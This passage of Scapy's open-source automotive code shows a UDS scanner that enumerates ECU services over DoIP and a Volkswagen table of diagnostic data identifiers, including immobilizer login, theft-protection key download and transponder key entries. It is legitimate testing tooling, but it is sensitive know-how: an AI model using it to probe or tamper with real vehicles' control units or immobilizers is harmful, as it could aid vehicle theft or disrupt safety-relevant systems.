socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_RDEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc @staticmethod def _random_memory_addr_pkt(addr_len=None): # noqa: E501 # type: (Optional[int]) -> Packet pkt = UDS() / UDS_RD() # type: Packet pkt.dataFormatIdentifiers = random.randint(0, 16) pkt.memorySizeLen = random.randint(1, 4) pkt.memoryAddressLen = addr_len or random.randint(1, 4) UDS_RMBARandomEnumerator.set_size(pkt, 0x10) addr = random.randint(0, 2 ** (8 * pkt.memoryAddressLen) - 1) & (0xffffffff << (4 * pkt.memoryAddressLen)) # noqa: E501 UDS_RMBARandomEnumerator.set_addr(pkt, addr) return pkt def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] if kwargs.get("unittest", False): return itertools.chain( (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)), (self._random_memory_addr_pkt(addr_len=2) for _ in range(500))) return itertools.chain( (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)), (self._random_memory_addr_pkt(addr_len=2) for _ in range(500)), (self._random_memory_addr_pkt(addr_len=3) for _ in range(1000)), (self._random_memory_addr_pkt(addr_len=4) for _ in range(5000))) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x" % UDS_RMBAEnumeratorABC.get_addr(tup[1]) class UDS_TDEnumerator(UDS_Enumerator): _description = "TransferData supported" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] cnt = kwargs.pop("scan_range", range(0x100)) return cast(Iterable[Packet], UDS() / UDS_TD(blockSequenceCounter=cnt)) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % ( tup[1].blockSequenceCounter, tup[1].sprintf("%UDS_TD.blockSequenceCounter%")) class UDS_Scanner(AutomotiveTestCaseExecutor): """ Example: >>> def reconnect(): >>> return UDS_DoIPSocket("169.254.186.237") >>> >>> es = [UDS_ServiceEnumerator, UDS_DSCEnumerator] >>> >>> def reset(): >>> reconnect().sr1(UDS()/UDS_ER(resetType="hardReset"), >>> verbose=False, timeout=1) >>> >>> s = UDS_Scanner(reconnect(), reconnect_handler=reconnect, >>> reset_handler=reset, test_cases=es, >>> UDS_DSCEnumerator_kwargs={ >>> "timeout": 20, >>> "overwrite_timeout": False, >>> "scan_range": [1, 3]}) >>> >>> try: >>> s.scan() >>> except KeyboardInterrupt: >>> pass >>> >>> s.show_testcases_status() >>> s.show_testcases() """ @property def default_test_case_clss(self): # type: () -> List[Type[AutomotiveTestCaseABC]] return [UDS_ServiceEnumerator, UDS_DSCEnumerator, UDS_TPEnumerator, UDS_SAEnumerator, UDS_WDBISelectiveEnumerator, UDS_RMBAEnumerator, UDS_RCEnumerator, UDS_IOCBIEnumerator] def uds_software_reset(connection, # type: _SocketUnion logger=log_automotive, # type: logging.Logger timeout=0.5 # type: Union[int, float] ): # type: (...) -> None logger.debug("Reset procedure of target started.") resp = connection.sr1(UDS() / UDS_ER(resetType=1), timeout=timeout, verbose=False) if resp and resp.service != 0x7f: logger.debug("Reset procedure of target complete") return logger.debug("Couldn't reset target with UDS_ER. " "At least try to set target back to DefaultSession") resp = connection.sr1(UDS() / UDS_DSC(b"\x01"), verbose=False, timeout=timeout) if resp and resp.service != 0x7f: logger.debug("Target in DefaultSession") return logger.error("Target not in DefaultSession. Software reset failed.") ================================================ FILE: scapy/contrib/automotive/volkswagen/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive bmw specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/volkswagen/definitions.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Jonas Schmidt # scapy.contrib.description = Volkswagen specific definitions for UDS # scapy.contrib.status = skip from scapy.contrib.automotive.uds import UDS_RDBI, UDS_RC, UDS_RD UDS_RDBI.dataIdentifiers[0x00bd] = "Theft Protection - Download GFA-Key" UDS_RDBI.dataIdentifiers[0x00be] = "Theft Protection - Download IKA-Key" UDS_RDBI.dataIdentifiers[0x00fd] = "IUMPR-ID3" UDS_RDBI.dataIdentifiers[0x00fe] = "IUMPR-ID2" UDS_RDBI.dataIdentifiers[0x00ff] = "IUMPR-ID1" UDS_RDBI.dataIdentifiers[0x02cc] = "Vehicle_identification_number_provisional" UDS_RDBI.dataIdentifiers[0x02e0] = "Immobilizer - Challenge" UDS_RDBI.dataIdentifiers[0x02e1] = "Immobilizer - Login" UDS_RDBI.dataIdentifiers[0x02e2] = "Immobilizer - Download Powertrain" UDS_RDBI.dataIdentifiers[0x02e3] = "Immobilizer - Download IMS" UDS_RDBI.dataIdentifiers[0x02e4] = "Transponder ID current Key" UDS_RDBI.dataIdentifiers[0x02e5] = "Transponder ID Key 1" UDS_RDBI.dataIdentifiers[0x02e6] = "Transponder ID Key 2" UDS_RDBI.dataIdentifiers[0x02e7] = "Transponder ID Key 3" UDS_RDBI.dataIdentifiers[0x02e8] = "Transponder ID Key 4" UDS_RDBI.dataIdentifiers[0x02e9] = "Transponder ID Key 5" UDS_RDBI.dataIdentifiers[0x02ea] = "Transponder ID Key 6" UDS_RDBI.dataIdentifiers[0x02eb] = "Transponder ID Key 7" UDS_RDBI.dataIdentifiers[0x02ec] = "Transponder ID Key 8" UDS_RDBI.dataIdentifiers[0x02ed] = "State of Immobilizer" UDS_RDBI.dataIdentifiers[0x02ee] = "State of Immobilizer Slaves" UDS_RDBI.dataIdentifiers[0x02ef] = "State Blocking Time" UDS_RDBI.dataIdentifiers[0x02f1] = "Immobilizer - Slave Login" UDS_RDBI.dataIdentifiers[0x02f6] = "Download WFS SHE" UDS_RDBI.dataIdentifiers[0x02f9] = "CRC32 Checksum of FAZIT Identification String" UDS_RDBI.dataIdentifiers[0x02fa] = "Adapted_transponders_checksum" UDS_RDBI.dataIdentifiers[0x02fb] = "Immobilizer - Download WFS 4" UDS_RDBI.dataIdentifiers[0x02ff] = "Immobilizer_snapshot" UDS_RDBI.dataIdentifiers[0x0407] = "VW Logical Software Block Counter Of Programming Attempts" UDS_RDBI.dataIdentifiers[0x040f] = "VW Logical Software Block Lock Value" UDS_RDBI.dataIdentifiers[0x0410] = "Bootloader TP Blocksize" UDS_RDBI.dataIdentifiers[0x04a3] = "Gateway Component List" UDS_RDBI.dataIdentifiers[0x0600] = "VW Coding Value" UDS_RDBI.dataIdentifiers[0x0610] = "Control_unit_for_wiper_motor_Coding_Values" UDS_RDBI.dataIdentifiers[0x0611] = "Slave_list_VW_spare_part_number" UDS_RDBI.dataIdentifiers[0x0612] = "Slave_list_VW_software_version_number" UDS_RDBI.dataIdentifiers[0x0613] = "Slave_list_VW_ecu_hardware_version_number" UDS_RDBI.dataIdentifiers[0x0614] = "Slave_list_VW_hardware_number" UDS_RDBI.dataIdentifiers[0x0615] = "Slave_list_ecu_serial_number" UDS_RDBI.dataIdentifiers[0x0616] = "Slave_list_VW_FAZIT_identification_string" UDS_RDBI.dataIdentifiers[0x0617] = "Slave_list_VW_system_name_or_engine_type" UDS_RDBI.dataIdentifiers[0x0618] = "Left_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0619] = "Right_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x061a] = "Slave_component_list" UDS_RDBI.dataIdentifiers[0x061b] = "Slave_component_list_databus_identification" UDS_RDBI.dataIdentifiers[0x061c] = "Slave_component_list_ecu_identification" UDS_RDBI.dataIdentifiers[0x061d] = "Slave_component_list_present" UDS_RDBI.dataIdentifiers[0x061e] = "Right_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x061f] = "Sensor_for_anti_theft_alarm_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0620] = "Rear_lid_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0621] = "Alarm_horn_Coding_Values" UDS_RDBI.dataIdentifiers[0x0622] = "Automatic_day_night_interior_mirror_Coding_Values" UDS_RDBI.dataIdentifiers[0x0623] = "Sun_roof_Coding_Values" UDS_RDBI.dataIdentifiers[0x0624] = "Steering_column_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x0625] = "Anti_theft_tilt_system_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x0626] = "Tire_pressure_monitor_antenna_Coding_Values" UDS_RDBI.dataIdentifiers[0x0627] = "Heated_windshield_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0628] = "Rear_light_left_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x0629] = "Ceiling_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062a] = "Left_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062b] = "Right_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062c] = "Control_module_for_auxiliary_air_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x062d] = "Ioniser_Coding_Values" UDS_RDBI.dataIdentifiers[0x062e] = "Multi_function_steering_wheel_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062f] = "Left_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0630] = "Right_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0631] = "Left_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0632] = "Right_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0633] = "Display_unit_1_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0634] = "Battery_monitoring_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0635] = "Roof_blind_Coding_Values" UDS_RDBI.dataIdentifiers[0x0636] = "Sun_roof_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0637] = "Display_unit_2_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0638] = "Telephone_handset_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0639] = "Traffic_data_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x063a] = "Chip_card_reader_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x063b] = "Hands_free_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x063c] = "Telephone_handset_Coding_Values" UDS_RDBI.dataIdentifiers[0x063d] = "Display_unit_front_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x063e] = "Multimedia_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x063f] = "Digital_sound_system_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0640] = "Control_unit_for_wiper_motor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0641] = "Rain_light_recognition_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0642] = "Light_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0643] = "Garage_door_opener_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0644] = "Garage_door_opener_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0645] = "Ignition_key_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0646] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0647] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0648] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0649] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064a] = "Data_medium_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064b] = "Drivers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064c] = "Front_passengers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064d] = "Left_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064e] = "Right_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064f] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0650] = "Rear_lid_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0651] = "Alarm_horn_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0652] = "Automatic_day_night_interior_mirror_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0653] = "Sun_roof_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0654] = "Steering_column_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0655] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0656] = "Tire_pressure_monitor_antenna_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0657] = "Heated_windshield_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0658] = "Rear_light_left_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0659] = "Ceiling_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065a] = "Left_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065b] = "Right_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065c] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065d] = "Ioniser_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065e] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065f] = "Left_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0660] = "Right_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0661] = "Left_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0662] = "Right_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0663] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0664] = "Battery_monitoring_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0665] = "Roof_blind_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0666] = "Sun_roof_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0667] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0668] = "Telephone_handset_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0669] = "Traffic_data_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066a] = "Chip_card_reader_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066b] = "Hands_free_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066c] = "Telephone_handset_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066d] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066e] = "Multimedia_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066f] = "Digital_sound_system_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0670] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0671] = "Rain_light_recognition_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0672] = "Light_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0673] = "Garage_door_opener_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0674] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0675] = "Ignition_key_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0676] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0677] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0678] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0679] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067a] = "Data_medium_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067b] = "Drivers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067c] = "Front_passengers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067d] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067e] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067f] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0680] = "Rear_lid_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0681] = "Alarm_horn_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0682] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0683] = "Sun_roof_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0684] = "Steering_column_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0685] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0686] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0687] = "Heated_windshield_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0688] = "Rear_light_left_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0689] = "Ceiling_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068a] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068b] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068c] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068d] = "Ioniser_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068e] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068f] = "Left_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0690] = "Right_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0691] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0692] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0693] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0694] = "Battery_monitoring_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0695] = "Roof_blind_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0696] = "Sun_roof_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0697] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0698] = "Telephone_handset_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0699] = "Traffic_data_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069a] = "Chip_card_reader_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069b] = "Hands_free_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069c] = "Telephone_handset_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069d] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069e] = "Multimedia_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069f] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x06a0] = "Control_unit_for_wiper_motor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a1] = "Rain_light_recognition_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a2] = "Light_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a3] = "Garage_door_opener_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a4] = "Garage_door_opener_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a5] = "Ignition_key_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a6] = "Left_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a7] = "Right_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a8] = "Left_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a9] = "Right_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06aa] = "Data_medium_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ab] = "Drivers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ac] = "Front_passengers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ad] = "Left_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ae] = "Right_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06af] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b0] = "Rear_lid_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b1] = "Alarm_horn_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b2] = "Automatic_day_night_interior_mirror_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b3] = "Sun_roof_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b4] = "Steering_column_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b5] = "Anti_theft_tilt_system_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b6] = "Tire_pressure_monitor_antenna_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b7] = "Heated_windshield_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b8] = "Rear_light_left_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b9] = "Ceiling_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ba] = "Left_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bb] = "Right_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bc] = "Control_module_for_auxiliary_air_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bd] = "Ioniser_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06be] = "Multi_function_steering_wheel_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bf] = "Left_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c0] = "Right_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c1] = "Left_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c2] = "Right_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c3] = "Display_unit_1_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c4] = "Battery_monitoring_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c5] = "Roof_blind_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c6] = "Sun_roof_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c7] = "Display_unit_2_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c8] = "Telephone_handset_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c9] = "Traffic_data_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ca] = "Chip_card_reader_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cb] = "Hands_free_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cc] = "Telephone_handset_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cd] = "Display_unit_front_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ce] = "Multimedia_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cf] = "Digital_sound_system_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06d0] = "Control_unit_for_wiper_motor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d1] = "Rain_light_recognition_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d2] = "Light_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d3] = "Garage_door_opener_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d4] = "Garage_door_opener_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d5] = "Ignition_key_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d6] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d7] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d8] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d9] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06da] = "Data_medium_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06db] = "Drivers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06dc] = "Front_passengers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06dd] = "Left_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06de] = "Right_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06df] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e0] = "Rear_lid_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e1] = "Alarm_horn_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e2] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e3] = "Sun_roof_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e4] = "Steering_column_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e5] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e6] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e7] = "Heated_windshield_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e8] = "Rear_light_left_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e9] = "Ceiling_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ea] = "Left_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06eb] = "Right_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ec] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ed] = "Ioniser_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ee] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ef] = "Left_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f0] = "Right_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f1] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f2] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f3] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f4] = "Battery_monitoring_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f5] = "Roof_blind_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f6] = "Sun_roof_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f7] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f8] = "Telephone_handset_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f9] = "Traffic_data_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fa] = "Chip_card_reader_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fb] = "Hands_free_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fc] = "Telephone_handset_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fd] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fe] = "Multimedia_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ff] = "Digital_sound_system_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x0700] = "Control_unit_for_wiper_motor_Serial_Number" UDS_RDBI.dataIdentifiers[0x0701] = "Rain_light_recognition_sensor_Serial_Number" 